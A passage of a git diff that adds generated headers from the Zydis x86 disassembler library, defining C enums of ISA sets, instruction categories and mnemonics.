ZYDIS_ISA_SET_LONGMODE, + ZYDIS_ISA_SET_LZCNT, + ZYDIS_ISA_SET_MCOMMIT, + ZYDIS_ISA_SET_MONITOR, + ZYDIS_ISA_SET_MONITORX, + ZYDIS_ISA_SET_MOVBE, + ZYDIS_ISA_SET_MOVDIR, + ZYDIS_ISA_SET_MPX, + ZYDIS_ISA_SET_PADLOCK_ACE, + ZYDIS_ISA_SET_PADLOCK_PHE, + ZYDIS_ISA_SET_PADLOCK_PMM, + ZYDIS_ISA_SET_PADLOCK_RNG, + ZYDIS_ISA_SET_PAUSE, + ZYDIS_ISA_SET_PCLMULQDQ, + ZYDIS_ISA_SET_PCONFIG, + ZYDIS_ISA_SET_PENTIUMMMX, + ZYDIS_ISA_SET_PENTIUMREAL, + ZYDIS_ISA_SET_PKU, + ZYDIS_ISA_SET_POPCNT, + ZYDIS_ISA_SET_PPRO, + ZYDIS_ISA_SET_PREFETCHWT1, + ZYDIS_ISA_SET_PREFETCH_NOP, + ZYDIS_ISA_SET_PT, + ZYDIS_ISA_SET_RDPID, + ZYDIS_ISA_SET_RDPMC, + ZYDIS_ISA_SET_RDPRU, + ZYDIS_ISA_SET_RDRAND, + ZYDIS_ISA_SET_RDSEED, + ZYDIS_ISA_SET_RDTSCP, + ZYDIS_ISA_SET_RDWRFSGS, + ZYDIS_ISA_SET_RTM, + ZYDIS_ISA_SET_SERIALIZE, + ZYDIS_ISA_SET_SGX, + ZYDIS_ISA_SET_SGX_ENCLV, + ZYDIS_ISA_SET_SHA, + ZYDIS_ISA_SET_SMAP, + ZYDIS_ISA_SET_SMX, + ZYDIS_ISA_SET_SSE, + ZYDIS_ISA_SET_SSE2, + ZYDIS_ISA_SET_SSE2MMX, + ZYDIS_ISA_SET_SSE3, + ZYDIS_ISA_SET_SSE3X87, + ZYDIS_ISA_SET_SSE4, + ZYDIS_ISA_SET_SSE42, + ZYDIS_ISA_SET_SSE4A, + ZYDIS_ISA_SET_SSEMXCSR, + ZYDIS_ISA_SET_SSE_PREFETCH, + ZYDIS_ISA_SET_SSSE3, + ZYDIS_ISA_SET_SSSE3MMX, + ZYDIS_ISA_SET_SVM, + ZYDIS_ISA_SET_TBM, + ZYDIS_ISA_SET_TSX_LDTRK, + ZYDIS_ISA_SET_VAES, + ZYDIS_ISA_SET_VMFUNC, + ZYDIS_ISA_SET_VPCLMULQDQ, + ZYDIS_ISA_SET_VTX, + ZYDIS_ISA_SET_WAITPKG, + ZYDIS_ISA_SET_X87, + ZYDIS_ISA_SET_XOP, + ZYDIS_ISA_SET_XSAVE, + ZYDIS_ISA_SET_XSAVEC, + ZYDIS_ISA_SET_XSAVEOPT, + ZYDIS_ISA_SET_XSAVES, + + /** + * Maximum value of this enum. + */ + ZYDIS_ISA_SET_MAX_VALUE = ZYDIS_ISA_SET_XSAVES, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_ISA_SET_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_ISA_SET_MAX_VALUE) +} ZydisISASet; diff --git a/Theodosius/Zydis/Generated/EnumInstructionCategory.h b/Theodosius/Zydis/Generated/EnumInstructionCategory.h new file mode 100644 index 0000000..755afbc --- /dev/null +++ b/Theodosius/Zydis/Generated/EnumInstructionCategory.h @@ -0,0 +1,117 @@ +/** + * Defines the `ZydisInstructionCategory` enum. + */ +typedef enum ZydisInstructionCategory_ +{ + ZYDIS_CATEGORY_INVALID, + ZYDIS_CATEGORY_ADOX_ADCX, + ZYDIS_CATEGORY_AES, + ZYDIS_CATEGORY_AMD3DNOW, + ZYDIS_CATEGORY_AMX_TILE, + ZYDIS_CATEGORY_AVX, + ZYDIS_CATEGORY_AVX2, + ZYDIS_CATEGORY_AVX2GATHER, + ZYDIS_CATEGORY_AVX512, + ZYDIS_CATEGORY_AVX512_4FMAPS, + ZYDIS_CATEGORY_AVX512_4VNNIW, + ZYDIS_CATEGORY_AVX512_BITALG, + ZYDIS_CATEGORY_AVX512_VBMI, + ZYDIS_CATEGORY_AVX512_VP2INTERSECT, + ZYDIS_CATEGORY_BINARY, + ZYDIS_CATEGORY_BITBYTE, + ZYDIS_CATEGORY_BLEND, + ZYDIS_CATEGORY_BMI1, + ZYDIS_CATEGORY_BMI2, + ZYDIS_CATEGORY_BROADCAST, + ZYDIS_CATEGORY_CALL, + ZYDIS_CATEGORY_CET, + ZYDIS_CATEGORY_CLDEMOTE, + ZYDIS_CATEGORY_CLFLUSHOPT, + ZYDIS_CATEGORY_CLWB, + ZYDIS_CATEGORY_CLZERO, + ZYDIS_CATEGORY_CMOV, + ZYDIS_CATEGORY_COMPRESS, + ZYDIS_CATEGORY_COND_BR, + ZYDIS_CATEGORY_CONFLICT, + ZYDIS_CATEGORY_CONVERT, + ZYDIS_CATEGORY_DATAXFER, + ZYDIS_CATEGORY_DECIMAL, + ZYDIS_CATEGORY_ENQCMD, + ZYDIS_CATEGORY_EXPAND, + ZYDIS_CATEGORY_FCMOV, + ZYDIS_CATEGORY_FLAGOP, + ZYDIS_CATEGORY_FMA4, + ZYDIS_CATEGORY_GATHER, + ZYDIS_CATEGORY_GFNI, + ZYDIS_CATEGORY_IFMA, + ZYDIS_CATEGORY_INTERRUPT, + ZYDIS_CATEGORY_IO, + ZYDIS_CATEGORY_IOSTRINGOP, + ZYDIS_CATEGORY_KMASK, + ZYDIS_CATEGORY_KNC, + ZYDIS_CATEGORY_KNCMASK, + ZYDIS_CATEGORY_KNCSCALAR, + ZYDIS_CATEGORY_LOGICAL, + ZYDIS_CATEGORY_LOGICAL_FP, + ZYDIS_CATEGORY_LZCNT, + ZYDIS_CATEGORY_MISC, + ZYDIS_CATEGORY_MMX, + ZYDIS_CATEGORY_MOVDIR, + ZYDIS_CATEGORY_MPX, + ZYDIS_CATEGORY_NOP, + ZYDIS_CATEGORY_PADLOCK, + ZYDIS_CATEGORY_PCLMULQDQ, + ZYDIS_CATEGORY_PCONFIG, + ZYDIS_CATEGORY_PKU, + ZYDIS_CATEGORY_POP, + ZYDIS_CATEGORY_PREFETCH, + ZYDIS_CATEGORY_PREFETCHWT1, + ZYDIS_CATEGORY_PT, + ZYDIS_CATEGORY_PUSH, + ZYDIS_CATEGORY_RDPID, + ZYDIS_CATEGORY_RDPRU, + ZYDIS_CATEGORY_RDRAND, + ZYDIS_CATEGORY_RDSEED, + ZYDIS_CATEGORY_RDWRFSGS, + ZYDIS_CATEGORY_RET, + ZYDIS_CATEGORY_ROTATE, + ZYDIS_CATEGORY_SCATTER, + ZYDIS_CATEGORY_SEGOP, + ZYDIS_CATEGORY_SEMAPHORE, + ZYDIS_CATEGORY_SERIALIZE, + ZYDIS_CATEGORY_SETCC, + ZYDIS_CATEGORY_SGX, + ZYDIS_CATEGORY_SHA, + ZYDIS_CATEGORY_SHIFT, + ZYDIS_CATEGORY_SMAP, + ZYDIS_CATEGORY_SSE, + ZYDIS_CATEGORY_STRINGOP, + ZYDIS_CATEGORY_STTNI, + ZYDIS_CATEGORY_SYSCALL, + ZYDIS_CATEGORY_SYSRET, + ZYDIS_CATEGORY_SYSTEM, + ZYDIS_CATEGORY_TBM, + ZYDIS_CATEGORY_TSX_LDTRK, + ZYDIS_CATEGORY_UFMA, + ZYDIS_CATEGORY_UNCOND_BR, + ZYDIS_CATEGORY_VAES, + ZYDIS_CATEGORY_VBMI2, + ZYDIS_CATEGORY_VFMA, + ZYDIS_CATEGORY_VPCLMULQDQ, + ZYDIS_CATEGORY_VTX, + ZYDIS_CATEGORY_WAITPKG, + ZYDIS_CATEGORY_WIDENOP, + ZYDIS_CATEGORY_X87_ALU, + ZYDIS_CATEGORY_XOP, + ZYDIS_CATEGORY_XSAVE, + ZYDIS_CATEGORY_XSAVEOPT, + + /** + * Maximum value of this enum. + */ + ZYDIS_CATEGORY_MAX_VALUE = ZYDIS_CATEGORY_XSAVEOPT, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_CATEGORY_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_CATEGORY_MAX_VALUE) +} ZydisInstructionCategory; diff --git a/Theodosius/Zydis/Generated/EnumMnemonic.h b/Theodosius/Zydis/Generated/EnumMnemonic.h new file mode 100644 index 0000000..bcb6265 --- /dev/null +++ b/Theodosius/Zydis/Generated/EnumMnemonic.h @@ -0,0 +1,1643 @@ +/** + * Defines the `ZydisMnemonic` enum. + */ +typedef enum ZydisMnemonic_ +{ + ZYDIS_MNEMONIC_INVALID, + ZYDIS_MNEMONIC_AAA, + ZYDIS_MNEMONIC_AAD, + ZYDIS_MNEMONIC_AAM, + ZYDIS_MNEMONIC_AAS, + ZYDIS_MNEMONIC_ADC, + ZYDIS_MNEMONIC_ADCX, + ZYDIS_MNEMONIC_ADD, + ZYDIS_MNEMONIC_ADDPD, + ZYDIS_MNEMONIC_ADDPS, + ZYDIS_MNEMONIC_ADDSD, + ZYDIS_MNEMONIC_ADDSS, + ZYDIS_MNEMONIC_ADDSUBPD, + ZYDIS_MNEMONIC_ADDSUBPS, + ZYDIS_MNEMONIC_ADOX, + ZYDIS_MNEMONIC_AESDEC, + ZYDIS_MNEMONIC_AESDECLAST, + ZYDIS_MNEMONIC_AESENC, + ZYDIS_MNEMONIC_AESENCLAST, + ZYDIS_MNEMONIC_AESIMC, + ZYDIS_MNEMONIC_AESKEYGENASSIST, + ZYDIS_MNEMONIC_AND, + ZYDIS_MNEMONIC_ANDN, + ZYDIS_MNEMONIC_ANDNPD, + ZYDIS_MNEMONIC_ANDNPS, + ZYDIS_MNEMONIC_ANDPD, + ZYDIS_MNEMONIC_ANDPS, + ZYDIS_MNEMONIC_ARPL, + ZYDIS_MNEMONIC_BEXTR, + ZYDIS_MNEMONIC_BLCFILL, + ZYDIS_MNEMONIC_BLCI, + ZYDIS_MNEMONIC_BLCIC, + ZYDIS_MNEMONIC_BLCMSK, + ZYDIS_MNEMONIC_BLCS, + ZYDIS_MNEMONIC_BLENDPD, + ZYDIS_MNEMONIC_BLENDPS, + ZYDIS_MNEMONIC_BLENDVPD, + ZYDIS_MNEMONIC_BLENDVPS, + ZYDIS_MNEMONIC_BLSFILL, + ZYDIS_MNEMONIC_BLSI, + ZYDIS_MNEMONIC_BLSIC, + ZYDIS_MNEMONIC_BLSMSK, + ZYDIS_MNEMONIC_BLSR, + ZYDIS_MNEMONIC_BNDCL, + ZYDIS_MNEMONIC_BNDCN, + ZYDIS_MNEMONIC_BNDCU, + ZYDIS_MNEMONIC_BNDLDX, + ZYDIS_MNEMONIC_BNDMK, + ZYDIS_MNEMONIC_BNDMOV, + ZYDIS_MNEMONIC_BNDSTX, + ZYDIS_MNEMONIC_BOUND, + ZYDIS_MNEMONIC_BSF, + ZYDIS_MNEMONIC_BSR, + ZYDIS_MNEMONIC_BSWAP, + ZYDIS_MNEMONIC_BT, + ZYDIS_MNEMONIC_BTC, + ZYDIS_MNEMONIC_BTR, + ZYDIS_MNEMONIC_BTS, + ZYDIS_MNEMONIC_BZHI, + ZYDIS_MNEMONIC_CALL, + ZYDIS_MNEMONIC_CBW, + ZYDIS_MNEMONIC_CDQ, + ZYDIS_MNEMONIC_CDQE, + ZYDIS_MNEMONIC_CLAC, + ZYDIS_MNEMONIC_CLC, + ZYDIS_MNEMONIC_CLD, + ZYDIS_MNEMONIC_CLDEMOTE, + ZYDIS_MNEMONIC_CLEVICT0, + ZYDIS_MNEMONIC_CLEVICT1, + ZYDIS_MNEMONIC_CLFLUSH, + ZYDIS_MNEMONIC_CLFLUSHOPT, + ZYDIS_MNEMONIC_CLGI, + ZYDIS_MNEMONIC_CLI, + ZYDIS_MNEMONIC_CLRSSBSY, + ZYDIS_MNEMONIC_CLTS, + ZYDIS_MNEMONIC_CLWB, + ZYDIS_MNEMONIC_CLZERO, + ZYDIS_MNEMONIC_CMC, + ZYDIS_MNEMONIC_CMOVB, + ZYDIS_MNEMONIC_CMOVBE, + ZYDIS_MNEMONIC_CMOVL, + ZYDIS_MNEMONIC_CMOVLE, + ZYDIS_MNEMONIC_CMOVNB, + ZYDIS_MNEMONIC_CMOVNBE, + ZYDIS_MNEMONIC_CMOVNL, + ZYDIS_MNEMONIC_CMOVNLE, + ZYDIS_MNEMONIC_CMOVNO, + ZYDIS_MNEMONIC_CMOVNP, + ZYDIS_MNEMONIC_CMOVNS, + ZYDIS_MNEMONIC_CMOVNZ, + ZYDIS_MNEMONIC_CMOVO, + ZYDIS_MNEMONIC_CMOVP, + ZYDIS_MNEMONIC_CMOVS, + ZYDIS_MNEMONIC_CMOVZ, + ZYDIS_MNEMONIC_CMP, + ZYDIS_MNEMONIC_CMPPD, + ZYDIS_MNEMONIC_CMPPS, + ZYDIS_MNEMONIC_CMPSB, + ZYDIS_MNEMONIC_CMPSD, + ZYDIS_MNEMONIC_CMPSQ, + ZYDIS_MNEMONIC_CMPSS, + ZYDIS_MNEMONIC_CMPSW, + ZYDIS_MNEMONIC_CMPXCHG, + ZYDIS_MNEMONIC_CMPXCHG16B, + ZYDIS_MNEMONIC_CMPXCHG8B, + ZYDIS_MNEMONIC_COMISD, + ZYDIS_MNEMONIC_COMISS, + ZYDIS_MNEMONIC_CPUID, + ZYDIS_MNEMONIC_CQO, + ZYDIS_MNEMONIC_CRC32, + ZYDIS_MNEMONIC_CVTDQ2PD, + ZYDIS_MNEMONIC_CVTDQ2PS, + ZYDIS_MNEMONIC_CVTPD2DQ, + ZYDIS_MNEMONIC_CVTPD2PI, + ZYDIS_MNEMONIC_CVTPD2PS, + ZYDIS_MNEMONIC_CVTPI2PD, + ZYDIS_MNEMONIC_CVTPI2PS, + ZYDIS_MNEMONIC_CVTPS2DQ, + ZYDIS_MNEMONIC_CVTPS2PD, + ZYDIS_MNEMONIC_CVTPS2PI, + ZYDIS_MNEMONIC_CVTSD2SI, + ZYDIS_MNEMONIC_CVTSD2SS, + ZYDIS_MNEMONIC_CVTSI2SD, + ZYDIS_MNEMONIC_CVTSI2SS, + ZYDIS_MNEMONIC_CVTSS2SD, + ZYDIS_MNEMONIC_CVTSS2SI, + ZYDIS_MNEMONIC_CVTTPD2DQ, + ZYDIS_MNEMONIC_CVTTPD2PI, + ZYDIS_MNEMONIC_CVTTPS2DQ, + ZYDIS_MNEMONIC_CVTTPS2PI, + ZYDIS_MNEMONIC_CVTTSD2SI, + ZYDIS_MNEMONIC_CVTTSS2SI, + ZYDIS_MNEMONIC_CWD, + ZYDIS_MNEMONIC_CWDE, + ZYDIS_MNEMONIC_DAA, + ZYDIS_MNEMONIC_DAS, + ZYDIS_MNEMONIC_DEC, + ZYDIS_MNEMONIC_DELAY, + ZYDIS_MNEMONIC_DIV, + ZYDIS_MNEMONIC_DIVPD, + ZYDIS_MNEMONIC_DIVPS, + ZYDIS_MNEMONIC_DIVSD, + ZYDIS_MNEMONIC_DIVSS, + ZYDIS_MNEMONIC_DPPD, + ZYDIS_MNEMONIC_DPPS, + ZYDIS_MNEMONIC_EMMS, + ZYDIS_MNEMONIC_ENCLS, + ZYDIS_MNEMONIC_ENCLU, + ZYDIS_MNEMONIC_ENCLV, + ZYDIS_MNEMONIC_ENDBR32, + ZYDIS_MNEMONIC_ENDBR64, + ZYDIS_MNEMONIC_ENQCMD, + ZYDIS_MNEMONIC_ENQCMDS, + ZYDIS_MNEMONIC_ENTER, + ZYDIS_MNEMONIC_EXTRACTPS, + ZYDIS_MNEMONIC_EXTRQ, + ZYDIS_MNEMONIC_F2XM1, + ZYDIS_MNEMONIC_FABS, + ZYDIS_MNEMONIC_FADD, + ZYDIS_MNEMONIC_FADDP, + ZYDIS_MNEMONIC_FBLD, + ZYDIS_MNEMONIC_FBSTP, + ZYDIS_MNEMONIC_FCHS, + ZYDIS_MNEMONIC_FCMOVB, + ZYDIS_MNEMONIC_FCMOVBE, + ZYDIS_MNEMONIC_FCMOVE, + ZYDIS_MNEMONIC_FCMOVNB, + ZYDIS_MNEMONIC_FCMOVNBE, + ZYDIS_MNEMONIC_FCMOVNE, + ZYDIS_MNEMONIC_FCMOVNU, + ZYDIS_MNEMONIC_FCMOVU, + ZYDIS_MNEMONIC_FCOM, + ZYDIS_MNEMONIC_FCOMI, + ZYDIS_MNEMONIC_FCOMIP, + ZYDIS_MNEMONIC_FCOMP, + ZYDIS_MNEMONIC_FCOMPP, + ZYDIS_MNEMONIC_FCOS, + ZYDIS_MNEMONIC_FDECSTP, + ZYDIS_MNEMONIC_FDISI8087_NOP, + ZYDIS_MNEMONIC_FDIV, + ZYDIS_MNEMONIC_FDIVP, + ZYDIS_MNEMONIC_FDIVR, + ZYDIS_MNEMONIC_FDIVRP, + ZYDIS_MNEMONIC_FEMMS, + ZYDIS_MNEMONIC_FENI8087_NOP, + ZYDIS_MNEMONIC_FFREE, + ZYDIS_MNEMONIC_FFREEP, + ZYDIS_MNEMONIC_FIADD, + ZYDIS_MNEMONIC_FICOM, + ZYDIS_MNEMONIC_FICOMP, + ZYDIS_MNEMONIC_FIDIV, + ZYDIS_MNEMONIC_FIDIVR, + ZYDIS_MNEMONIC_FILD, + ZYDIS_MNEMONIC_FIMUL, + ZYDIS_MNEMONIC_FINCSTP, + ZYDIS_MNEMONIC_FIST, + ZYDIS_MNEMONIC_FISTP, + ZYDIS_MNEMONIC_FISTTP, + ZYDIS_MNEMONIC_FISUB, + ZYDIS_MNEMONIC_FISUBR, + ZYDIS_MNEMONIC_FLD, + ZYDIS_MNEMONIC_FLD1, + ZYDIS_MNEMONIC_FLDCW, + ZYDIS_MNEMONIC_FLDENV, + ZYDIS_MNEMONIC_FLDL2E, + ZYDIS_MNEMONIC_FLDL2T, + ZYDIS_MNEMONIC_FLDLG2, + ZYDIS_MNEMONIC_FLDLN2, + ZYDIS_MNEMONIC_FLDPI, + ZYDIS_MNEMONIC_FLDZ, + ZYDIS_MNEMONIC_FMUL, + ZYDIS_MNEMONIC_FMULP, + ZYDIS_MNEMONIC_FNCLEX, + ZYDIS_MNEMONIC_FNINIT, + ZYDIS_MNEMONIC_FNOP, + ZYDIS_MNEMONIC_FNSAVE, + ZYDIS_MNEMONIC_FNSTCW, + ZYDIS_MNEMONIC_FNSTENV, + ZYDIS_MNEMONIC_FNSTSW, + ZYDIS_MNEMONIC_FPATAN, + ZYDIS_MNEMONIC_FPREM, + ZYDIS_MNEMONIC_FPREM1, + ZYDIS_MNEMONIC_FPTAN, + ZYDIS_MNEMONIC_FRNDINT, + ZYDIS_MNEMONIC_FRSTOR, + ZYDIS_MNEMONIC_FSCALE, + ZYDIS_MNEMONIC_FSETPM287_NOP, + ZYDIS_MNEMONIC_FSIN, + ZYDIS_MNEMONIC_FSINCOS, + ZYDIS_MNEMONIC_FSQRT, + ZYDIS_MNEMONIC_FST, + ZYDIS_MNEMONIC_FSTP, + ZYDIS_MNEMONIC_FSTPNCE, + ZYDIS_MNEMONIC_FSUB, + ZYDIS_MNEMONIC_FSUBP, + ZYDIS_MNEMONIC_FSUBR, + ZYDIS_MNEMONIC_FSUBRP, + ZYDIS_MNEMONIC_FTST, + ZYDIS_MNEMONIC_FUCOM, + ZYDIS_MNEMONIC_FUCOMI, + ZYDIS_MNEMONIC_FUCOMIP, + ZYDIS_MNEMONIC_FUCOMP, + ZYDIS_MNEMONIC_FUCOMPP, + ZYDIS_MNEMONIC_FWAIT, + ZYDIS_MNEMONIC_FXAM, + ZYDIS_MNEMONIC_FXCH, + ZYDIS_MNEMONIC_FXRSTOR, + ZYDIS_MNEMONIC_FXRSTOR64, + ZYDIS_MNEMONIC_FXSAVE, + ZYDIS_MNEMONIC_FXSAVE64, + ZYDIS_MNEMONIC_FXTRACT, + ZYDIS_MNEMONIC_FYL2X, + ZYDIS_MNEMONIC_FYL2XP1, + ZYDIS_MNEMONIC_GETSEC, + ZYDIS_MNEMONIC_GF2P8AFFINEINVQB, + ZYDIS_MNEMONIC_GF2P8AFFINEQB, + ZYDIS_MNEMONIC_GF2P8MULB, + ZYDIS_MNEMONIC_HADDPD, + ZYDIS_MNEMONIC_HADDPS, + ZYDIS_MNEMONIC_HLT, + ZYDIS_MNEMONIC_HSUBPD, + ZYDIS_MNEMONIC_HSUBPS, + ZYDIS_MNEMONIC_IDIV, + ZYDIS_MNEMONIC_IMUL, + ZYDIS_MNEMONIC_IN, + ZYDIS_MNEMONIC_INC, + ZYDIS_MNEMONIC_INCSSPD, + ZYDIS_MNEMONIC_INCSSPQ, + ZYDIS_MNEMONIC_INSB, + ZYDIS_MNEMONIC_INSD, + ZYDIS_MNEMONIC_INSERTPS, + ZYDIS_MNEMONIC_INSERTQ, + ZYDIS_MNEMONIC_INSW, + ZYDIS_MNEMONIC_INT, + ZYDIS_MNEMONIC_INT1, + ZYDIS_MNEMONIC_INT3, + ZYDIS_MNEMONIC_INTO, + ZYDIS_MNEMONIC_INVD, + ZYDIS_MNEMONIC_INVEPT, + ZYDIS_MNEMONIC_INVLPG, + ZYDIS_MNEMONIC_INVLPGA, + ZYDIS_MNEMONIC_INVLPGB, + ZYDIS_MNEMONIC_INVPCID, + ZYDIS_MNEMONIC_INVVPID, + ZYDIS_MNEMONIC_IRET, + ZYDIS_MNEMONIC_IRETD, + ZYDIS_MNEMONIC_IRETQ, + ZYDIS_MNEMONIC_JB, + ZYDIS_MNEMONIC_JBE, + ZYDIS_MNEMONIC_JCXZ, + ZYDIS_MNEMONIC_JECXZ, + ZYDIS_MNEMONIC_JKNZD, + ZYDIS_MNEMONIC_JKZD, + ZYDIS_MNEMONIC_JL, + ZYDIS_MNEMONIC_JLE, + ZYDIS_MNEMONIC_JMP, + ZYDIS_MNEMONIC_JNB, + ZYDIS_MNEMONIC_JNBE, + ZYDIS_MNEMONIC_JNL, + ZYDIS_MNEMONIC_JNLE, + ZYDIS_MNEMONIC_JNO, + ZYDIS_MNEMONIC_JNP, + ZYDIS_MNEMONIC_JNS, + ZYDIS_MNEMONIC_JNZ, + ZYDIS_MNEMONIC_JO, + ZYDIS_MNEMONIC_JP, + ZYDIS_MNEMONIC_JRCXZ, + ZYDIS_MNEMONIC_JS, + ZYDIS_MNEMONIC_JZ, + ZYDIS_MNEMONIC_KADDB, + ZYDIS_MNEMONIC_KADDD, + ZYDIS_MNEMONIC_KADDQ, + ZYDIS_MNEMONIC_KADDW, + ZYDIS_MNEMONIC_KAND, + ZYDIS_MNEMONIC_KANDB, + ZYDIS_MNEMONIC_KANDD, + ZYDIS_MNEMONIC_KANDN, + ZYDIS_MNEMONIC_KANDNB, + ZYDIS_MNEMONIC_KANDND, + ZYDIS_MNEMONIC_KANDNQ, + ZYDIS_MNEMONIC_KANDNR, + ZYDIS_MNEMONIC_KANDNW, + ZYDIS_MNEMONIC_KANDQ, + ZYDIS_MNEMONIC_KANDW, + ZYDIS_MNEMONIC_KCONCATH, + ZYDIS_MNEMONIC_KCONCATL, + ZYDIS_MNEMONIC_KEXTRACT, + ZYDIS_MNEMONIC_KMERGE2L1H, + ZYDIS_MNEMONIC_KMERGE2L1L, + ZYDIS_MNEMONIC_KMOV, + ZYDIS_MNEMONIC_KMOVB, + ZYDIS_MNEMONIC_KMOVD, + ZYDIS_MNEMONIC_KMOVQ, + ZYDIS_MNEMONIC_KMOVW, + ZYDIS_MNEMONIC_KNOT, + ZYDIS_MNEMONIC_KNOTB, + ZYDIS_MNEMONIC_KNOTD, + ZYDIS_MNEMONIC_KNOTQ, + ZYDIS_MNEMONIC_KNOTW, + ZYDIS_MNEMONIC_KOR, + ZYDIS_MNEMONIC_KORB, + ZYDIS_MNEMONIC_KORD, + ZYDIS_MNEMONIC_KORQ, + ZYDIS_MNEMONIC_KORTEST, + ZYDIS_MNEMONIC_KORTESTB, + ZYDIS_MNEMONIC_KORTESTD, + ZYDIS_MNEMONIC_KORTESTQ, + ZYDIS_MNEMONIC_KORTESTW, + ZYDIS_MNEMONIC_KORW, + ZYDIS_MNEMONIC_KSHIFTLB, + ZYDIS_MNEMONIC_KSHIFTLD, + ZYDIS_MNEMONIC_KSHIFTLQ, + ZYDIS_MNEMONIC_KSHIFTLW, + ZYDIS_MNEMONIC_KSHIFTRB, + ZYDIS_MNEMONIC_KSHIFTRD, + ZYDIS_MNEMONIC_KSHIFTRQ, + ZYDIS_MNEMONIC_KSHIFTRW, + ZYDIS_MNEMONIC_KTESTB, + ZYDIS_MNEMONIC_KTESTD, + ZYDIS_MNEMONIC_KTESTQ, + ZYDIS_MNEMONIC_KTESTW, + ZYDIS_MNEMONIC_KUNPCKBW, + ZYDIS_MNEMONIC_KUNPCKDQ, + ZYDIS_MNEMONIC_KUNPCKWD, + ZYDIS_MNEMONIC_KXNOR, + ZYDIS_MNEMONIC_KXNORB, + ZYDIS_MNEMONIC_KXNORD, + ZYDIS_MNEMONIC_KXNORQ, + ZYDIS_MNEMONIC_KXNORW, + ZYDIS_MNEMONIC_KXOR, + ZYDIS_MNEMONIC_KXORB, + ZYDIS_MNEMONIC_KXORD, + ZYDIS_MNEMONIC_KXORQ, + ZYDIS_MNEMONIC_KXORW, + ZYDIS_MNEMONIC_LAHF, + ZYDIS_MNEMONIC_LAR, + ZYDIS_MNEMONIC_LDDQU, + ZYDIS_MNEMONIC_LDMXCSR, + ZYDIS_MNEMONIC_LDS, + ZYDIS_MNEMONIC_LDTILECFG, + ZYDIS_MNEMONIC_LEA, + ZYDIS_MNEMONIC_LEAVE, + ZYDIS_MNEMONIC_LES, + ZYDIS_MNEMONIC_LFENCE, + ZYDIS_MNEMONIC_LFS, + ZYDIS_MNEMONIC_LGDT, + ZYDIS_MNEMONIC_LGS, + ZYDIS_MNEMONIC_LIDT, + ZYDIS_MNEMONIC_LLDT, + ZYDIS_MNEMONIC_LLWPCB, + ZYDIS_MNEMONIC_LMSW, + ZYDIS_MNEMONIC_LODSB, + ZYDIS_MNEMONIC_LODSD, + ZYDIS_MNEMONIC_LODSQ, + ZYDIS_MNEMONIC_LODSW, + ZYDIS_MNEMONIC_LOOP, + ZYDIS_MNEMONIC_LOOPE, + ZYDIS_MNEMONIC_LOOPNE, + ZYDIS_MNEMONIC_LSL, + ZYDIS_MNEMONIC_LSS, + ZYDIS_MNEMONIC_LTR, + ZYDIS_MNEMONIC_LWPINS, + ZYDIS_MNEMONIC_LWPVAL, + ZYDIS_MNEMONIC_LZCNT, + ZYDIS_MNEMONIC_MASKMOVDQU, + ZYDIS_MNEMONIC_MASKMOVQ, + ZYDIS_MNEMONIC_MAXPD, + ZYDIS_MNEMONIC_MAXPS, + ZYDIS_MNEMONIC_MAXSD, + ZYDIS_MNEMONIC_MAXSS, + ZYDIS_MNEMONIC_MCOMMIT, + ZYDIS_MNEMONIC_MFENCE, + ZYDIS_MNEMONIC_MINPD, + ZYDIS_MNEMONIC_MINPS, + ZYDIS_MNEMONIC_MINSD, + ZYDIS_MNEMONIC_MINSS, + ZYDIS_MNEMONIC_MONITOR, + ZYDIS_MNEMONIC_MONITORX, + ZYDIS_MNEMONIC_MONTMUL, + ZYDIS_MNEMONIC_MOV, + ZYDIS_MNEMONIC_MOVAPD, + ZYDIS_MNEMONIC_MOVAPS, + ZYDIS_MNEMONIC_MOVBE, + ZYDIS_MNEMONIC_MOVD, + ZYDIS_MNEMONIC_MOVDDUP, + ZYDIS_MNEMONIC_MOVDIR64B, + ZYDIS_MNEMONIC_MOVDIRI, + ZYDIS_MNEMONIC_MOVDQ2Q, + ZYDIS_MNEMONIC_MOVDQA, + ZYDIS_MNEMONIC_MOVDQU, + ZYDIS_MNEMONIC_MOVHLPS, + ZYDIS_MNEMONIC_MOVHPD, + ZYDIS_MNEMONIC_MOVHPS, + ZYDIS_MNEMONIC_MOVLHPS, + ZYDIS_MNEMONIC_MOVLPD, + ZYDIS_MNEMONIC_MOVLPS, + ZYDIS_MNEMONIC_MOVMSKPD, + ZYDIS_MNEMONIC_MOVMSKPS, + ZYDIS_MNEMONIC_MOVNTDQ, + ZYDIS_MNEMONIC_MOVNTDQA, + ZYDIS_MNEMONIC_MOVNTI, + ZYDIS_MNEMONIC_MOVNTPD, + ZYDIS_MNEMONIC_MOVNTPS, + ZYDIS_MNEMONIC_MOVNTQ, + ZYDIS_MNEMONIC_MOVNTSD, + ZYDIS_MNEMONIC_MOVNTSS, + ZYDIS_MNEMONIC_MOVQ, + ZYDIS_MNEMONIC_MOVQ2DQ, + ZYDIS_MNEMONIC_MOVSB, + ZYDIS_MNEMONIC_MOVSD, + ZYDIS_MNEMONIC_MOVSHDUP, + ZYDIS_MNEMONIC_MOVSLDUP, + ZYDIS_MNEMONIC_MOVSQ, + ZYDIS_MNEMONIC_MOVSS, + ZYDIS_MNEMONIC_MOVSW, + ZYDIS_MNEMONIC_MOVSX, + ZYDIS_MNEMONIC_MOVSXD, + ZYDIS_MNEMONIC_MOVUPD, + ZYDIS_MNEMONIC_MOVUPS, + ZYDIS_MNEMONIC_MOVZX, + ZYDIS_MNEMONIC_MPSADBW, + ZYDIS_MNEMONIC_MUL, + ZYDIS_MNEMONIC_MULPD, + ZYDIS_MNEMONIC_MULPS, + ZYDIS_MNEMONIC_MULSD, + ZYDIS_MNEMONIC_MULSS, + ZYDIS_MNEMONIC_MULX, + ZYDIS_MNEMONIC_MWAIT, + ZYDIS_MNEMONIC_MWAITX, + ZYDIS_MNEMONIC_NEG, + ZYDIS_MNEMONIC_NOP, + ZYDIS_MNEMONIC_NOT, + ZYDIS_MNEMONIC_OR, + ZYDIS_MNEMONIC_ORPD, + ZYDIS_MNEMONIC_ORPS, + ZYDIS_MNEMONIC_OUT, + ZYDIS_MNEMONIC_OUTSB, + ZYDIS_MNEMONIC_OUTSD, + ZYDIS_MNEMONIC_OUTSW, + ZYDIS_MNEMONIC_PABSB, + ZYDIS_MNEMONIC_PABSD, + ZYDIS_MNEMONIC_PABSW, + 